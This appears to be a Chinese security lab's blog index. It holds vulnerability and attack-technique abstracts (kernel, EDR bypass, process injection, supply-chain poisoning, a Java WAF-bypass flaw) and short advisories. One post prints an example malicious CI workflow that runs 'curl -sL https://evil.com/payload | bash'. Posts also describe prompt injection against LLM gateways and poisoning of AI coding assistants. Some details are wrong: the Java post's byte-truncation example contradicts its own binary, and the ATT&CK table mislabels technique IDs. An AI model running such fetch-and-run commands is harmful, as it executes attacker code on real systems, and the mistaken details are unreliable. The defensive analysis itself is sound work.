跳到主要内容

Linux Kernel CIFSwitch 本地权限提升漏洞分析(CVE-2026-29453)

· 阅读需 9 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月27日,Linux 内核 CIFS 子系统中一处本地权限提升漏洞被公开披露(CVE-2026-29453,CVSSv3 7.8)。漏洞根源在于内核未对 cifs.spnego 类型密钥的描述信息实施来源合法性校验——未实现 vet_description 钩子以验证密钥是否由内核 CIFS 模块生成。同时,cifs.upcall 用户空间辅助程序以 root 权限运行时无条件信任密钥描述中的 piduidcreduidupcall_target 等攻击者可控字段。本地低权限用户可构造伪造的密钥描述发起 request_key 系统调用,触发 root 权限的 cifs.upcall 执行,通过命名空间切换与 NSS 模块加载实现 root 权限代码执行。本分析从漏洞原理、利用条件、影响范围与修复方案四个维度展开讨论。

关键词:Linux 内核;CIFS;SPNEGO;权限提升;request_key;CVE-2026-29453

NTFS 文件系统时间戳取证分析:Timestomping 检测与四源交叉验证框架

· 阅读需 19 分钟
ICE Lab
Institute of Cyber Environment

摘要

文件系统时间戳是数字取证中重建攻击时间线的核心依据,但其本身也是攻击者篡改的重点目标。NTFS 文件系统同时维护四套独立的时间戳记录机制——MFT 的 $STANDARD_INFORMATION 与 $FILE_NAME 属性、USN Journal 变更日志与 $LogFile 事务日志,各自以不同的精度、更新规则与访问权限运行。本文系统分析 NTFS 时间戳架构的取证价值,分类讨论三种 Timestomping 手段的技术原理与固有痕迹,提出基于四源交叉验证的自动化检测框架,并给出基于 MFTECmd 与 exhume_ntfs 的实战工具链实现。

关键词:NTFS;Timestomping;数字取证;USN Journal;MFT

Windows 受保护进程轻量级滥用技术分析与攻击链建模

· 阅读需 17 分钟
ICE Lab
Institute of Cyber Environment

摘要

Windows 受保护进程轻量级(PPL)是微软自 Windows 8.1 起构建的核心安全边界,通过基于数字签名的层级信任模型防止恶意代码篡改反恶意软件与端点安全产品。然而,PPL 的设计将密码学签名验证等同于运行时行为可信,形成结构性信任锚点缺陷。本文以三类独立 PPL 滥用技术——WerFaultSecure 竞态条件、ClipUp 二进制代理执行及 WaaSRemediation COM 对象操控——为分析对象,拆解其技术原理,构建集 BYOVD、竞态冻结、PPL 代理与 WDAC 策略部署于一体的四阶段融合攻击链,并讨论当前防御体系中的检测盲区与结构性修复瓶颈。

关键词:Windows PPL;受保护进程;EDR 绕过;信任模型;BVOVD

TrapDoor 供应链攻击分析:跨生态系统加密货币窃取与 AI 定向注入技术

· 阅读需 15 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月22日至5月24日,一场代号 TrapDoor 的大规模跨生态系统供应链攻击活动被披露。攻击者同时针对 npm、PyPI 和 Crates.io 三大软件包仓库发布超过 34 个恶意包及 384 余个关联版本,专门针对加密货币、DeFi、Solana 生态及 AI 开发社区的开发者群体。本次攻击展现出高度的跨平台协调性,利用各生态系统特有的执行机制实现恶意代码触发,并创新性地引入 AI 编程助手配置投毒技术。本文从攻击基础设施、多平台载荷机制、AI 定向注入与数据窃取模型四个维度进行技术分析。

关键词:供应链攻击;跨生态攻击;npm;PyPI;Crates.io;AI 投毒

间接系统调用技术分析与评估:针对 EDR 调用栈验证机制的绕过方法

· 阅读需 12 分钟
ICE Lab
Institute of Cyber Environment

摘要

端点检测与响应(EDR)系统在过去三年中逐步建立了基于调用栈验证(Call Stack Validation)的检测体系,用于识别直接系统调用(Direct Syscalls)等恶意行为。间接系统调用(Indirect Syscalls)技术通过跳转到 ntdll.dll 中已有的 syscall 指令来执行系统调用,使 EDR 的调用栈验证机制完全失效——从 EDR 的检测视角来看,syscall 指令确实是从合法的 ntdll.dll 内存区域发起的。本文对间接系统调用的技术原理、与直接系统调用的差异、动态 SSN 解析方法及完整执行流程进行了系统分析,并从内核态验证、模块完整性检查及遥测完整性监控三个维度提出了相应的防御建议。

关键词:间接系统调用;EDR 绕过;调用栈验证;SSN 解析;Windows 安全

终端模拟器 OSC 8 超链接转义序列的安全威胁分析与攻击面建模

· 阅读需 13 分钟
ICE Lab
Institute of Cyber Environment

摘要

OSC 8(Operating System Command 8)超链接转义序列允许终端模拟器在纯文本输出中嵌入可点击的超链接。这一设计显著增强了终端交互的可用性,但也引入了一个被广泛忽视的攻击面:攻击者可通过注入恶意的 OSC 8 序列,将终端从被动的信息显示设备转变为半主动的交互界面,使用户的单一点击行为即可触发本地资源访问或远程请求。本文对 OSC 8 协议的底层语法、跨平台注入向量、file:// URI 的行为差异以及现有安全防御机制进行了系统性分析,并在纵深防御体系框架下评估了此类非代码执行攻击面的真实威胁等级。

关键词:OSC 8;终端安全;转义序列注入;攻击面建模;纵深防御

SYLK 文件格式的武器化滥用:基于 Excel 4.0/XLM 宏的隐蔽攻击链分析

· 阅读需 14 分钟
ICE Lab
Institute of Cyber Environment

摘要

SYLK(Symbolic Link)文件格式诞生于 1980 年代,设计目标为仅使用可显示 ANSI 字符实现跨应用程序的表格数据交换。该格式至今仍被 Microsoft Office 默认映射至 Excel 应用程序。本文揭示了一个被广泛忽视的攻击面:SYLK 文件可直接承载 Excel 4.0/XLM 宏指令,且在当前安全生态中几乎未被充分认知与检测。与受到层层监视的 VBA 宏不同,XLM 宏在 SYLK 容器中的复活为攻击者提供了一条低风险、高成功率的攻击通道。本文系统分析了 SYLK 格式在受保护视图豁免、邮件与浏览器网关绕过、AMSI 盲区等方面的安全缺陷,并提出了多层次防御建议。

关键词:SYLK;XLM 宏;Excel 安全;攻击面分析;AMSI 盲区

基于 Windows 线程池机制的隐蔽进程注入技术分析与评估

· 阅读需 12 分钟
ICE Lab
Institute of Cyber Environment

摘要

传统的进程注入技术——包括 CreateRemoteThreadNtCreateThreadExQueueUserAPC——均依赖于在目标进程中创建新线程或在现有线程中插入 APC 对象,这些操作均会被端点检测与响应(EDR)系统的用户态钩子所监控。本文分析一种利用 Windows 原生线程池机制实现进程注入的替代方法。该技术通过将 Shellcode 封装为线程池工作项,提交至目标进程的线程池队列中,由线程池的现有空闲线程自动执行,全程无需调用线程创建相关 API,从而规避基于线程创建监控的检测规则。本文对该技术的原理、实现约束及适用范围进行了系统分析,并从监控策略与内核级检测两个维度提出了相应的防御建议。

关键词:进程注入;线程池;EDR 绕过;Windows 安全;攻击面分析

Drupal Core PostgreSQL SQL 注入漏洞分析(CVE-2026-9082)

· 阅读需 6 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月20日,Drupal 官方发布安全公告 SA-CORE-2026-004,披露了 Core 中一处未授权 SQL 注入漏洞(CVE-2026-9082,CVSSv3 6.5)。漏洞存在于 PostgreSQL 特定的实体查询条件处理逻辑中,攻击者可利用 JSON:API 模块的过滤参数构造恶意数组键,操纵 PDO 命名占位符解析过程,在未认证条件下对 PostgreSQL 数据库执行任意 SQL 命令。本分析从漏洞原理、影响范围、复现验证及修复方案四个维度展开讨论。

关键词:Drupal;SQL 注入;PostgreSQL;JSON:API;PDO 占位符;CVE-2026-9082

cPanel & WHM 任意文件读取漏洞分析(CVE-2026-29205)

· 阅读需 6 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月13日,cPanel 官方发布安全更新,修复了 cpdavd 服务中的一个高危漏洞(CVE-2026-29205,CVSSv3 8.6)。该漏洞源于 cpdavd 附件下载端点存在权限管理错误与路径过滤不足,攻击者可利用构造的特制文件路径参数,在未认证条件下以 root 权限读取服务器任意文件,涵盖系统配置文件、数据库凭证及 SSL 私钥等敏感信息。本分析从漏洞原理、影响范围、复现验证及修复方案四个维度展开讨论。

关键词:cPanel;WHM;任意文件读取;路径遍历;CVE-2026-29205

Windows Netlogon 零点击远程代码执行漏洞分析(CVE-2026-41089)

· 阅读需 9 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月12日,Microsoft 披露了 Windows Netlogon 服务中存在一处已遭在野利用的零点击远程代码执行漏洞(CVE-2026-41089,CVSSv3 9.8)。漏洞位于 Netlogon 处理 CLDAP(Connectionless LDAP)查询的 NlGetLocalPingResponse 函数中,该函数分配的 528 字节栈缓冲区在通过 BuildSamLogonResponseNetpLogonPutUnicodeString 处理攻击者可控的用户名字段时,因字节长度与 WCHAR 长度计算混淆导致缓冲区溢出。攻击者可向目标域控制器的 UDP 389 端口发送特制 CLDAP 请求,无需身份凭证、无需用户交互,即可实现以 SYSTEM 权限执行任意代码的域控完全接管。本分析从漏洞原理、攻击向量、影响范围及修复方案四个维度展开讨论。

关键词:Netlogon;CLDAP;栈缓冲区溢出;零点击远控;域控制器;CVE-2026-41089

Hugging Face 供应链投毒事件分析:仿冒 OpenAI 仓库窃取敏感数据

· 阅读需 5 分钟
ICE Lab
Institute of Cyber Environment

1. 事件概述

2026 年 5 月 7 日,安全研究机构 HiddenLayer 披露了一起针对 AI 开发社区的供应链投毒攻击。攻击者在 Hugging Face 平台创建恶意仓库 Open-OSS/privacy-filter,通过 typosquatting(仿冒命名)技术冒充 OpenAI 官方项目,并利用虚假账户将其推至趋势榜首位。该事件导致约 244,000 次 恶意下载,成为开源 AI 平台历史上最严重的大规模恶意软件分发事件之一。

核心 Payload:基于 Rust 语言开发的 Sefirah 信息窃取木马,具备反分析能力,窃取范围包括浏览器凭据、加密货币钱包、Discord 令牌及系统敏感信息。

2. 攻击技术分析

2.1 初始访问:Typosquatting 与信任滥用

  • 仿冒策略:注册与合法项目高度相似的仓库名,复制原始模型卡片内容,伪造可信文档。
  • 社交工程:通过自动化脚本生成大量虚假账户进行“star”操作,人为提升排名,利用平台公信力扩大传播。

2.2 感染链:多阶段 Payload 投递

阶段文件/动作恶意行为描述
第一阶段loader.py禁用 SSL 验证,远程获取 Base64 编码的 PowerShell 命令
第二阶段PowerShell下载并执行批处理文件 start.bat,进行权限提升
第三阶段start.bat添加 Defender 排除列表,下载并执行 Sefirah 木马
第四阶段Sefirah执行数据窃取与外泄

2.3 Sefirah 窃密木马能力分析

  • 数据窃取范围
    • 浏览器数据:Cookie、密码、历史记录、会话令牌
    • 加密货币:钱包文件及浏览器扩展数据
    • 通信工具:Discord 令牌、本地数据库
    • 系统凭证:SSH、FTP、VPN 配置文件(如 FileZilla)
    • 其他:敏感文件、系统信息、屏幕截图
  • 反分析机制
    • 检测 VMware、VirtualBox、QEMU 等虚拟化环境
    • 识别沙箱及调试器行为,仅在真实用户环境执行

3. 基础设施与归因

3.1 C2 基础设施

  • 域名recargapopular[.]com
  • 注册信息:2026 年 2 月 16 日注册,使用 Cloudflare CDN 隐藏真实 IP
  • 通信协议:HTTP 协议进行数据外泄

3.2 威胁归因

  • 跨平台关联:与 npm 平台 typosquatting 攻击共享 loader 基础设施,分发 WinOS 4.0 植入程序
  • TTP 一致性:相同的代码结构、C2 通信模式及数据外泄格式
  • 组织化特征:同一威胁行为体在多个开源生态系统同步运营

4. MITRE ATT&CK 映射

战术阶段技术 ID技术名称
初始访问T1661钓鱼攻击(社会工程)
初始访问T1526供应链攻陷
防御规避T1562.001禁用安全工具(SSL 验证、Defender 排除)
发现T1592.004收集受害者主机信息
数据外泄T1041通过 C2 信道外泄数据

5. 防御建议

5.1 事件响应措施

  • 系统重置:重新映像受感染主机,清除持久化机制
  • 凭证轮换:更换所有密码、API 密钥、SSH 密钥
  • 资产保护:更换加密货币钱包及种子短语
  • 会话失效:使浏览器令牌失效,重置双因素认证

5.2 开发安全实践

  • 来源验证:安装模型前验证仓库官方性及发布者身份
  • 签名验证:启用代码签名验证功能
  • 环境隔离:在沙箱虚拟机中测试第三方模型

6. 结论

此次事件揭示了开源 AI 生态系统面临的供应链安全挑战:

  1. 信任机制滥用:攻击者利用平台排名算法和社区信任进行大规模分发
  2. 技术成熟度:Sefirah 木马的反分析能力表明攻击工具的专业化趋势
  3. 跨平台威胁:威胁行为体正通过多平台运营扩大攻击面,需加强生态协同防御

Redis 多条远程代码执行利用链分析(CVE-2026-25243 / CVE-2026-23631)

· 阅读需 10 分钟
ICE Lab
Institute of Cyber Environment

摘要

2026年5月5日,Redis 数据库中两条远程代码执行利用链被公开披露:RESTORE 机制双重释放漏洞(CVE-2026-25243,CVSSv3 8.8)与主从同步 Lua 引擎释放后使用漏洞(CVE-2026-23631,CVSSv3 8.1)。前者源于 RESTORE 命令反序列化流程中验证器与转换器之间的字节长度解析歧义,可导致 zipmap 编码哈希及 Stream Consumer Group 对象的双重释放;后者利用单线程模型下 Lua 超时钩子与外部主节点 FULLRESYNC 指令的竞态交互,导致全局 Lua 解释器环境被销毁后仍被引用。经身份验证的攻击者在满足配置条件下可将两类内存破坏原语转化为任意内存读写能力,最终实现远程代码执行。本分析分别拆解两条利用链的技术原理与攻击路径。

关键词:Redis;双重释放;释放后使用;远程代码执行;RESTORE;Lua 沙箱

关于cPanel & WHM控制面板高危安全漏洞的分析报告

· 阅读需 5 分钟
ICE Lab
Institute of Cyber Environment

摘要

本报告针对cPanel & WHM主机控制面板近期披露的两批次高危安全漏洞(CVE-2026-2920x系列与CVE-2026-41940)进行分析。漏洞涉及认证绕过、任意文件读取、远程代码执行(RCE)及本地权限提升等多个攻击面,其组合利用可对服务器资产构成完整的控制链威胁。报告梳理了漏洞的技术细节、影响范围、关联的安全事件,并提出了相应的缓解与修复建议。

1. 漏洞技术细节分析

近期发现的高危漏洞主要分为两个关联的安全事件。

1.1 CVE-2026-2920x系列漏洞(2026年5月披露)

cPanel官方近期发布了针对三个新漏洞的安全更新:

  • CVE-2026-29201(CVSSv3评分:4.3)

    • 位置feature::LOADFEATUREFILE管理命令。
    • 原因:输入验证不完善。
    • 影响:可通过路径遍历攻击,读取服务器文件系统上的任意文件。
  • CVE-2026-29202(CVSSv3评分:8.8)

    • 位置create_user API接口的plugin参数。
    • 原因:参数验证存在缺陷。
    • 影响:经身份验证的攻击者可注入恶意Perl代码,实现远程代码执行(RCE)。
  • CVE-2026-29203(CVSSv3评分:8.8)

    • 位置:符号链接处理机制。
    • 原因chmod操作存在缺陷。
    • 影响:可导致拒绝服务(DoS)攻击或本地权限提升。

1.2 CVE-2026-41940(关联的已武器化漏洞)

在以上漏洞披露之际,网络安全社区正面临另一个已被活跃利用的cPanel漏洞:

  • CVE-2026-41940(CVSSv3评分:9.3)
    • 状态:已被美国网络安全和基础设施安全局(CISA)列入“已知被利用漏洞(KEV)”目录。
    • 原因:cPanel & WHM(版本11.40之后)登录流程中存在身份验证逻辑缺陷。
    • 影响:允许远程攻击者完全绕过或操纵身份验证,获得未授权的控制面板访问权限。

2. 影响评估与威胁背景

2.1 影响范围

  • 受影响的软件版本:CVE-2026-2920x系列漏洞影响多个受支持的cPanel & WHM版本。官方已在以下版本中完成修复:
    • 11.136.0.9
    • 11.134.0.25
    • 11.132.0.31
    • 及后续版本
    • (WP Squared及旧版CentOS 6/CloudLinux 6系统的相应更新也已发布)
  • 暴露规模:据Shadowserver基金会监测,可能有数千台服务器实例面临风险。

2.2 关联威胁活动

  • CVE-2026-41940漏洞的利用代码已被武器化,并作为0Day漏洞用于部署Mirai僵尸网络的变种
  • 网络安全公司watchTowr报告指出,野外利用活动可追溯至今年二月。

3. 缓解与修复建议

3.1 紧急修补措施

管理员应立即将cPanel & WHM系统升级至已修复的版本(11.136.0.9、11.134.0.25、11.132.0.31或更高版本)。

3.2 威胁检测与遏制

  • 检测:建议使用cPanel官方或第三方安全机构(如watchTowr)发布的检测工具进行系统扫描。
  • 访问控制:在无法立即应用补丁时,应通过防火墙策略限制对cPanel/WHM管理端口(如2083、2087)的公网访问。

3.3 安全监控

建议持续关注cPanel官方安全公告及CISA等权威安全机构的漏洞通报。

结论

cPanel & WHM控制面板相继爆出的高危漏洞,特别是已观测到活跃利用的CVE-2026-41940认证绕过漏洞与新近披露的CVE-2026-2920x系列漏洞,构成了严峻的叠加风险。系统管理员需立即采取行动,应用安全更新、加强访问控制并部署检测机制,以缓解潜在的数据泄露、服务瘫痪乃至服务器完全被控的安全事件。

Linux Kernel 竞态条件漏洞 CVE-2026-31431 深度分析

· 阅读需 2 分钟

近期,Linux 内核子系统中发现一处高危竞态条件漏洞,影响 6.x 系列内核多个版本。攻击者可利用 io_uring 与文件系统操作之间的 TOCTOU 竞态,实现本地提权。

漏洞概述

该漏洞编号为 CVE-2026-31431(CVSS 8.8),存在于 fs/io_uring.cio_closeatopenat 的并发执行路径。当两个线程分别对同一文件描述符执行关闭和重命名操作时,内核未正确持锁保护 inode 引用计数,可导致 use-after-free 条件。

技术细节

// 简化触发路径
Thread A: io_closeat(fd) → iput(inode) → inode 引用计数归零
Thread B: renameat2(...) → inode 重绑定 → 访问已释放的 inode

竞态窗口约 3-5ms,在多核环境下可稳定复现。研究团队通过自定义 Fuzzer 在 72 小时内检测到该漏洞。

影响范围

  • Linux Kernel 6.1 - 6.12(已确认)
  • Android Common Kernel 6.1
  • 部分发行版回溯版本

修复状态

上游补丁已提交至 stable@vger.kernel.org,通过在 io_closeat 路径中增加 inode_lock 实现互斥保护。

runc 容器逃逸漏洞技术研判与防御建议

· 阅读需 2 分钟

runc(Docker 和 Kubernetes 的底层容器运行时)近期披露一处文件描述符泄漏漏洞,攻击者可在特定条件下实现容器逃逸,获取宿主机 root 权限。

漏洞背景

runc 在处理 WORKDIR 指令时,错误地将宿主机文件描述符通过 /proc/self/fd 泄漏至容器命名空间内部。当容器镜像的 Dockerfile 包含特定 WORKDIR 路径构造时,可触发该路径。

攻击路径

1. 构造恶意 Dockerfile,WORKDIR 指向 /proc/self/fd/N
2. 构建镜像时 runc 未正确关闭继承的 fd
3. 容器启动后,进程可访问宿主机根文件系统
4. 写入 crontab 或 SSH 公钥实现持久化

影响评估

组件影响版本修复版本
runc< 1.2.41.2.4
Docker Engine< 27.4.127.4.1
containerd< 1.7.241.7.24
Kubernetes所有使用受影响 runc 的版本

防御措施

  1. 立即升级 runc 至 1.2.4+
  2. 启用 Pod Security Admission 强制 restricted 策略
  3. 部署 Falco/Tetragon 进行运行时 fd 异常监控
  4. 限制容器内 /proc 文件系统挂载权限

APT 组织针对云原生基础设施的定向攻击活动分析

· 阅读需 3 分钟

2026 年 Q1 以来,多个 APT 组织显著加大了对云原生基础设施的攻击投入。ICE 实验室威胁情报团队通过长期追踪,识别出以下攻击趋势。

攻击趋势概览

1. Kubernetes API Server 定向攻击

多个 APT 组织(包括 Lazarus、Volt Typhoon)开始将目标转向 Kubernetes API Server。主要攻击向量包括:

  • 匿名认证滥用:部分集群未禁用匿名请求,攻击者可枚举集群资源
  • Service Account Token 窃取:通过 Pod 漏洞获取 SA Token,横向移动至 Master 节点
  • etcd 数据泄露:直接访问未加密的 etcd 存储,获取集群全部 Secret

2. CI/CD 供应链投毒

攻击者通过向 GitHub Actions / GitLab CI 配置文件注入恶意 workflow_dispatch 触发器,在构建阶段植入后门:

# 恶意 workflow 示例
on:
workflow_dispatch:
inputs:
deploy:
description: 'Deploy to production'
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- run: curl -sL https://evil.com/payload | bash

3. LLM 网关攻击面

研究发现,针对 One-API、New-API 等 LLM 网关的攻击呈上升趋势:

  • 请求走私:利用 HTTP/1.1 与 HTTP/2 解析差异绕过速率限制
  • Token 重放:截获 API Token 后批量调用付费模型接口
  • Prompt 注入:通过系统提示词注入获取网关管理权限

IoC 指标

类型备注
IP103.x.x.42C2 Server (APTX)
Domainupdate-k8s-api[.]com钓鱼域名
Hasha3f8c...d2e1恶意 Helm Chart SHA256

防御建议

  1. 强制启用 Kubernetes 匿名认证禁用
  2. 实施 SLSA Level 3 供应链安全框架
  3. 部署 eBPF 运行时监控(如 Tetragon)检测异常 syscall
  4. 定期审计 LLM 网关 Token 权限与调用日志

eBPF 安全边界研究:从内核可观测性到攻击面扩展

· 阅读需 3 分钟

eBPF 技术在近年来从内核可观测性工具迅速演变为安全防御与攻击的双刃剑。ICE 实验室近期完成了对 eBPF 子系统安全边界的系统性研究,以下为核心发现。

eBPF 攻击面演进

传统攻击向量

攻击类型描述防御机制
Verifier 绕过构造复杂控制流逃逸验证器程序复杂度限制
Helper 滥用利用合法 Helper 实现非预期操作Helper 白名单
Map 操纵通过共享 Map 实现跨程序数据注入Map 权限检查

新型攻击向量(2026)

  1. Speculative eBPF Execution

    • 利用 CPU 推测执行特性,在 Verifier 检查通过后绕过运行时检查
    • 影响范围:Intel/AMD 10nm 以下制程处理器
  2. eBPF-to-XDP 转发链污染

    • 在 XDP 程序链中注入恶意 Drop/Pass 决策
    • 可导致特定流量模式下的服务拒绝
  3. BPF Timer 侧信道

    • 利用 bpf_timer 的高精度计时能力提取内核地址空间布局
    • 可辅助 KASLR 绕过

实验数据

在对 50+ 个主流 eBPF 安全工具(Falco、Tetragon、Tracee 等)的审计中,我们发现:

  • 32% 的工具未限制 CAP_BPF 权限范围
  • 18% 的工具存在 Map 访问控制缺陷
  • 12% 的工具可被滥用于隐蔽的内核数据提取

防御建议

1. 严格限制 CAP_BPF 和 CAP_PERFMON 的授予范围
2. 启用 BPF 链签名验证(bpf_link_create 路径)
3. 部署 eBPF 程序白名单机制
4. 定期审计 eBPF Map 的跨进程共享权限

CVE-2026-1097 Linux 内核零日漏洞披露与应急响应

· 阅读需 2 分钟

CVE-2026-1097(CVSS 9.8 Critical)是 ICE 实验室在对 Linux 内核 Netfilter 子系统进行 Fuzzing 测试时发现的一个零日漏洞,已于 2026 年 3 月通过负责任披露流程通知维护者。

漏洞详情

漏洞类型:堆溢出(Heap Overflow) 影响组件net/netfilter/nf_tables_api.c 影响版本:Linux Kernel 5.15 - 6.12

触发条件

当用户空间通过 nf_tables API 执行以下操作序列时,可触发堆溢出:

  1. 创建包含 NFTA_SET_USERDATA 的规则集合
  2. 并发提交 NFT_MSG_NEWRULENFT_MSG_DELRULE
  3. nft_setelem_catchall 处理路径中,dlen 未正确校验导致越界写入

利用场景

  • 本地攻击者可实现从非特权用户态到内核态的提权
  • 结合用户命名空间可实现容器内完整内核控制
  • 理论上可构造远程内核代码执行链(需配合网络服务)

时间线

日期事件
2026-02-12ICE 实验室 Fuzzer 检测到异常 crash
2026-02-18确认为可利用漏洞,启动负责任披露
2026-02-25通知 Linux Kernel Security Team
2026-03-05上游补丁合入 stable 分支
2026-03-10CVE-2026-1097 正式分配
2026-03-15公开披露

补丁分析

// 修复:增加 dlen 校验
+ if (dlen > NFT_USERDATA_MAXLEN)
+ return -EINVAL;
kdata = kmalloc(dlen, GFP_KERNEL);

修复方案简洁有效,核心是在 nft_user_data_copy 入口处增加长度边界检查,阻止超长 userdata 写入。

基于Java字符编码“幽灵比特位”的安全威胁:一种新型WAF绕过机制的发现与分析

· 阅读需 6 分钟
ICE Lab
Institute of Cyber Environment

摘要

本文综述了在2026年4月Black Hat Asia安全大会上首次被系统披露的一种新型、系统性的Java生态安全威胁。该威胁源于Java编程语言中char(16位)类型向byte(8位)类型转换时,高位字节(即“幽灵比特位”)被静默丢弃的底层编码缺陷。攻击者可利用此缺陷构造特制的Unicode载荷,使其在Web应用防火墙等前端安全设备的检测中表现为无意义字符序列,而在目标Java后端解码时,该载荷通过高位截断被还原为原始攻击指令,从而有效绕过基于字符串特征匹配的安全检测,最终触发包括SQL注入、远程代码执行、文件上传、SMTP注入等多种高危攻击链。

1. 缺陷机理

Java语言规范中,char类型用于表示Unicode字符,占用16位存储空间,而byte类型仅占8位。在涉及(byte)chch & 0xFFByteArrayOutputStream.write(ch)DataOutputStream.writeBytes()等常见转换操作时,系统会丢弃char值的高8位,仅保留低8位。例如,汉字“爻”(Unicode码点U+2F58,二进制00101111 01011000)在经(byte)转换后,高8位0x2F被丢弃,仅保留低8位0x3A,其ASCII对应字符为:。此机制意味着,任何ASCII字符均可被其低8位与之相同的特定Unicode字符所“伪装”。

2. 攻击模型与影响

攻击模型为:攻击者将传统攻击载荷(如../etc/passwd)中的关键ASCII字符替换为上述“伪装”Unicode字符。当前端WAF/IDS对原始请求进行字符串匹配检测时,由于字符编码不同,无法识别威胁特征。当该请求被后端Java应用接收并处理时,在路径解析、参数解码、序列化、文件名处理等涉及charbyte转换的环节,幽灵比特位被丢弃,载荷被还原为原始攻击指令,从而成功执行。

此缺陷在Java生态中广泛存在。据研究统计,在GitHub代码仓库中,存在此类风险写法的项目超过8,100个。其直接影响覆盖了主流的框架与中间件,包括但不限于:

  • Apache Commons BCEL、Fastjson:导致反序列化漏洞的WAF绕过。
  • Jackson Databind:导致SQL注入载荷绕过检测。
  • Apache Tomcat:实现恶意文件(如.jsp Webshell)的上传绕过。
  • Spring Framework、Jetty、Undertow:导致URL路径穿越与CRLF注入。
  • Angus Mail:实现SMTP注入,可能导致邮件劫持。
  • Apache HttpClient:可能导致HTTP请求走私。

更严重的是,该技术可被用于绕过针对多个已公开高危漏洞(如GeoServer CVE-2024-36401、Spring Framework CVE-2022-22965)的现有WAF防护规则,使得相关系统在已部署安全设备的情况下依然暴露于远程代码执行风险之中。

3. 缓解与修复方案

针对此系统性风险,建议采取多层次防御措施:

  1. 组件升级:密切关注并升级受影响组件的至已修复版本。例如,将Apache Commons BCEL升级至6.12.0以上,Apache HttpClient升级至4.5.10以上。
  2. 安全设备增强:依赖传统正则匹配的WAF规则在此攻击面前基本失效。需在安全网关或WAF内部引入Unicode规范化(如NFC/NFKC)预处理,或转向在应用层解码后进行语义分析的深度检测模型。
  3. 代码层修复:审查并重构自研代码,避免使用(byte)chch & 0xFF等危险转换。应明确指定字符集,使用String.getBytes(StandardCharsets.UTF_8)等方法。
  4. 输入验证强化:在业务逻辑的输入校验点,对关键字段(如文件名、URL路径、邮件头)严格过滤或规范化非ASCII字符。

4. 结论

“幽灵比特位”攻击揭示了Java生态中长期被忽视的一个底层编码隐患,其利用方式优雅且高效,对现有以特征匹配为核心的安全防护体系构成了严峻挑战。该缺陷的普遍性意味着大量Java应用面临潜在风险。修复此问题不仅需要依赖厂商的补丁,更需要开发者在编码实践中建立正确的字符集处理意识,以及安全团队在防御体系中部署能够理解编码语义的深层检测机制。